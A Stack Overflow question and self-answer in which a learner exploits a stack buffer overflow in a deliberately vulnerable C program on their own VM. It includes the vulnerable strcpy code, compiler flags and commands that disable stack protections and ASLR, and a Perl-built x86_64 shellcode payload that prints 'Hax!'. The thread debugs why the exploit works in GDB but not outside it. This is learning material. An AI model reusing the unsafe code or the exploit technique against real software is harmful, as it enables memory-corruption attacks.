9

I readed about Stack located Buffer Overflows a long time ago, but decided to set up a virtual machine and actually see them in practice.

The following code was the vulnerable program:

#include<string.h>

void go(char *data){
    char name[64];

    strcpy(name, data);
}

int main(int argc, char **argv){
    go(argv[1]);
}

It was compiled using the -zexecstack and -fno-stack-protector options on GCC to both allow code in the stack being executable and disable the program built-in Stack Overflow protection (the "canary" value).

gcc vuln.c -o vuln -zexecstack -fno-stack-protector -g

I then used the GDB to find out the memory position of name on the stack and found the following address: 0x7fffffffdc10

Since my VM has a recent linux version, I had to disable ASLR (Address Space Layout Randomization) by running: sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space" or sudo sysctl -w kernel.randomize_va_space=0.

The shellcode was taken from an article I found online about Stack Smashing and was fed to the program through a Perl script:

perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'

Being the first 45 bytes the shellcode (supposed to write "Hax!" on the screen), some extra 27 "A" bytes to get the pointer in the right position and finally the starting address of the payload in little endian.

The problem is:

When running the program on GDB, through:

gdb vuln
>run `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'`

I can get the shellcode running and the "Hax!" output.

When trying to run the program outside GDB like

./vuln `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'`

I receive an Illegal instruction (core dumped) error instead of the "Hax!" output.

I've been banging my head trying to figure out what is the cause of this different behavior. Apparently GDB disables ASLR by default, however I also disabled it through sysctl on the kernel. Could the kernel be ignoring the kernel.randomize_va_space variable? Or maybe the memory address is different, even if static, on the GDB and on the real process? Or maybe the real process is actually running the shellcode, but something is going wrong on the real process that GDB is ignoring/bypassing?

Any ideas of what could be the cause?

murphsghost
  • 161
  • 1
  • 7
  • Have you tried compiling as 32-bit code? (e.g. `-m32`) I don't know the specifics, but I know x86_64 has additional barriers to making the stack executable. (no, I don't know why it works in GDB `:)` – David C. Rankin Aug 28 '16 at 01:34
  • Is it [NX](https://en.wikipedia.org/wiki/NX_bit)? – Kevin Aug 28 '16 at 01:53
  • @DavidC.Rankin I just tried compiling it as a 32-bit, but there were some complications in the process. After recalculating where in the memory the payload was being stored, I had to recalculate how many overhead bytes would need to be inserted to get to the *saved instruction pointer*. Surprisingly I had to fill the buffer with more bytes on the 32-bit version than I anticipated: I thought I'd need to fill the 64bytes buffer + 4 bytes Saved stack pointer, but it required 64+12 bytes to reach the *saved instruction pointer*. Even more than on the 64-bit version (64+8 bytes). – murphsghost Aug 28 '16 at 03:56
  • @DavidC.Rankin That probably means there's something else on the stack in the 32-bit version. But in the end, even though I could redirect the program flow (on GDB) in the 32-bit version, the Shellcode is written in x86_64 assembly, so I need to find some other test Shellcode. Sorry about the long text. Just meant it as an update that I did take your suggestion in consideration! Even if I manage to get the 32-bit version working, I'm still curious about why it isn't working on the 64-bit version though. – murphsghost Aug 28 '16 at 03:59
  • @Kevin Isn't the NX is disabled in the stack when you compile the program with the `-zexecstack` option? I believe that's not the issue because I compiled a code to test the Shellcode Payload, which declared a variable holding the opcodes (on stack) and executed it through a function pointer. – murphsghost Aug 28 '16 at 04:02
  • Hm... does the core dump provide any clues? For example, it would be helpful to know where the instruction pointer landed relative to your shell code. – Kevin Aug 28 '16 at 04:07
  • @Kevin, I just enabled core-dump files on the VM and managed to create one, but I still gotta learn how to read them (I'm still a beginner on GDB, working on it!). However I ran into a interesting answer that could be the reason it's working on GDB and not working outside it: (http://stackoverflow.com/a/17775966/6765863). Apparently some differences on the environment variables on each instance could be modifying the exact address of the payload. I'll further investigate. – murphsghost Aug 29 '16 at 02:41
  • 1
    This isn't what's traditionally called a stack overflow (unbounded recursion); this is a **buffer overflow** (and the buffer happens to be stack allocated). – Joshua Taylor Aug 31 '16 at 01:46
  • You are right my friend, I edited the post and answer to correct it! – murphsghost Aug 31 '16 at 03:17
  • You might have better luck asking this on [RE](http://reverseengineering.stackexchange.com/). And maybe tag it [tag:assembly]. – rustyx Aug 31 '16 at 08:58

1 Answers1

1

After reading this answer (https://stackoverflow.com/a/17775966/6765863) I changed somethings on my attempts to perform a Stack Buffer Overflow.

First, I used a clear environment as suggested in the answer above (env -i) on both GDB tests and regular binary tests. On GDB I had to further run the commands unset env LINES and unset env COLUMNS to clear the GDB environment completely.

Second, I used the complete path to the executable, to make sure the argv[0] variable would be the same on both tests, not influencing on the Payload address.

Even after those steps I could still only hit the Payload on the GDB version. So I made a "debug" version of the code, where I would print the memory addresses of the Payload (which would be the "name" array address on function "go") and the addresses of argv[0] and argv[1]. Final code below:

#include<string.h>

void go(char *data){
    char name[64];
    printf("Name: %p\n",name);
    strcpy(name, data);
}

int main(int argc, char **argv){
    printf("Argv[0]: %p\n",argv[0]);
    printf("Argv[1]: %p\n",argv[1]);
    go(argv[1]);
}

I know I should have explicitly included stdio.h (my bad!). I don't know if adding the #include<stdio.h> would change anything on the memory addresses (don't think so because it's a pre-processor call that is probably being called the same way by the compiler, but after all the debugging I didn't want to risk having to do it again if the program worked anyways).

Anyways, I noticed the addresses were a bit different on GDB tests and on a regular test. To be more specific, the Payload address had a +0x40 offset (64 bytes). Changing the Perl script to actually hit that address was enough to make it work outside GDB.

I'm still not sure about what could be different on the stack, but the whole issue was the precise addresses not matching on both tests. If anyone has any idea what could be those extra 64 bytes on GDBs tests I'll be glad to add it to my answer!

Community
  • 1
  • 1
murphsghost
  • 161
  • 1
  • 7